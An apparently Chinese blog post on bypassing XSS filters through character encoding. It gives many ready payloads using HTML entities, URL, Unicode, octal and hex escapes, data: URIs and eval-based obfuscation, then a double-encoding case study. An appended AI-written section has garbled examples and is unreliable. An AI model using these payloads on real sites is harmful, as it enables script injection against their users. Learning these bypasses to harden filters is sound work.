【应用安全——XSS】字符编码绕过

本文深入探讨了XSS攻击的各种技巧,包括如何利用不同的编码方式绕过常见的安全过滤,如十进制、十六进制编码,URL编码,以及JavaScript和Unicode编码等。同时,还介绍了如何在特定环境下利用DOM、事件处理程序和协议头进行攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

编码转换工具:

http://bianma.51240.com/

html实体编码

<iframe src=javascript:alert(1)>

html标签中支持十进制,例如:

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

十六进制,例如:

<iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

可以不带分号

<iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29>

可以填充0

<iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>

绕过关键字过滤

<iframe src=javas&#x09;cript:alert(1)></iframe> //Tab

<iframe src=javas&#x0A;cript:alert(1)></iframe> //回车

<iframe src=javas&#x0D;cript:alert(1)></iframe> //换行

<iframe src=javascript&#x003a;alert(1)></iframe> //编码冒号

<iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持

URL编码

<a href="{here}">xx</a>

<iframe src="{here}">

当输出环境在href或者src时,是可以通过javascript伪协议来执行JS的,例如<iframe src=”javascript:alert(1)”>test</iframe>

同样src中是可以进行URL编码的,需要注意协议头javascript:不能编码,否则JS无法执行。

<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>

这里结合一下上面说16进制编码

<iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%31%29"></iframe>

javascript编码

<script>alert(1)</script>

Unicode编码<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

Javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行js解码后为”alert”,但是需要注意像圆括号、双引号、单引号不能编码,否则在这种场景下无法弹窗。

例如<script>\u0061\u006C\u0065\u0072\u0074(‘1\u0027)</script>这种是无法执行的。

测试一下DOM的环境,测试代码如下:

<div id='s'>test</div>

<script>

var s = "<img/src=x onerror=alert(1)>";

document.getElementById('s').innerHTML = s;

</script>

<img/src=x οnerrοr=alert(1)>的以下编码都可以弹窗:

Unicode: \u003C\u0069\u006D\u0067\u002F\u0073\u0072\u0063\u003D\u0078\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E

八进制: \074\151\155\147\057\163\162\143\075\170\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076

十六进制: \x3C\x69\x6D\x67\x2F\x73\x72\x63\x3D\x78\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E

在JS事件中使用Location跳转也可以,例如。

<input onfocus=location="javascript:alert\u00281\u0029" autofocus>

DATA协议(IE不支持)

<a href="{here}">xx</a>

<iframe src="{here}">

例如

<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>

<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>

需要注意内容是可以做实体编码。不影响XSS执行。

<iframe src="data:text/html,&lt;script&gt;alert&#40;1&#41;&lt;/script&gt;"></iframe>

<iframe srcdoc="&lt;script&gt;alert&#40;1&#41;&lt;/script&gt;"></iframe>

Eval

atob:

<a href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a> //需要引入单引号或双引号

String.fromCharCode:

<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>

案例:

参数输出环境:

测试发现参数这里过滤”和(,无法输入”就无法闭合,发现该参数的输出环境在src中,那么通过javascript伪协议就可以执行JS,但是因为无法引入(,所以需要进行编码才可以。

1)10进制和16进制编码绕过

HTML标签中是支持10进制和16进制编码的,那么先将javascript:alert(1)做10进制编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;;//

因为参数值中有&和#,需要一次URL编码

%26%23106%3b%26%2397%3b%26%23118%3b%26%2397%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2358%3b%26%2397%3b%26%23108%3b%26%23101%3b%26%23114%3b%26%23116%3b%26%2340%3b%26%2349%3b%26%2341%3b;//

2)URL编码绕过

SRC标签中是支持解码的,也就是我可以对过滤字符做二次URL编码绕过

参考文章:

http://su.xmd5.org/static/drops/tips-689.html

https://security.yirendai.com/news/share/26

### 关于XSS攻击中闭合标签的绕过技术 跨站脚本攻击(XSS)是一种常见的安全漏洞,允许攻击者注入恶意代码到网页上。为了防止这种攻击,许多现代浏览器和服务器端防护机制会尝试过滤掉潜在危险的内容。然而,一些特定的技术可以用来绕过这些防御措施。 #### 使用HTML实体编码绕过 一种常见的方式是利用HTML实体编码来混淆输入内容。例如,在某些情况下可以通过嵌入转义字符或者特殊编码形式来规避检测器对闭合标签的识别。下面是一个例子: ```html <IMG SRC="jav ascript:alert(&#39;XSS&#39;);"> ``` 这里通过插入十六进制表示的新行符` `打断了JavaScript关键字,从而可能避开简单的正则表达式匹配[^1]。 #### 利用不完整的标签结构 有时不需要完全关闭标签也可以触发事件处理程序。比如只写开标签而省略结束部分可能会让解析引擎仍然执行其中定义的动作: ```html <img src=x onerror=alert(1)> ``` 此片段故意制造了一个错误路径作为图像源地址(`src`),当加载失败时就会调用`onerror`属性指定的行为——即弹窗显示消息框[^3]。 #### 借助Unicode或URL编码隐藏意图 对于那些基于字符串模式匹配的安全规则来说,采用不同的编码方式能够有效掩盖真实的payload含义。像这样把尖括号替换为其对应的数值引用也可能奏效: ```html <script>document.write("Hello World!");</script> ``` 上述代码中的实际意义被转换成了不可见的形式呈现给审查工具,但最终会被渲染成可运行状态下的JS指令集。 另外值得注意的是,针对具体环境定制化的测试非常重要,因为不同框架和技术栈所采取的防范策略各有差异。因此了解目标平台如何实现其保护层将是成功实施此类操作的关键前提条件之一[^2]。 ### 结论 综上所述,尽管存在多种手段可以帮助突破现有的防XSS屏障,但是每种方法都有局限性和适用范围。开发人员应当始终遵循最佳实践原则构建应用程序,并定期更新依赖库版本以减少遭受此类威胁的风险。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值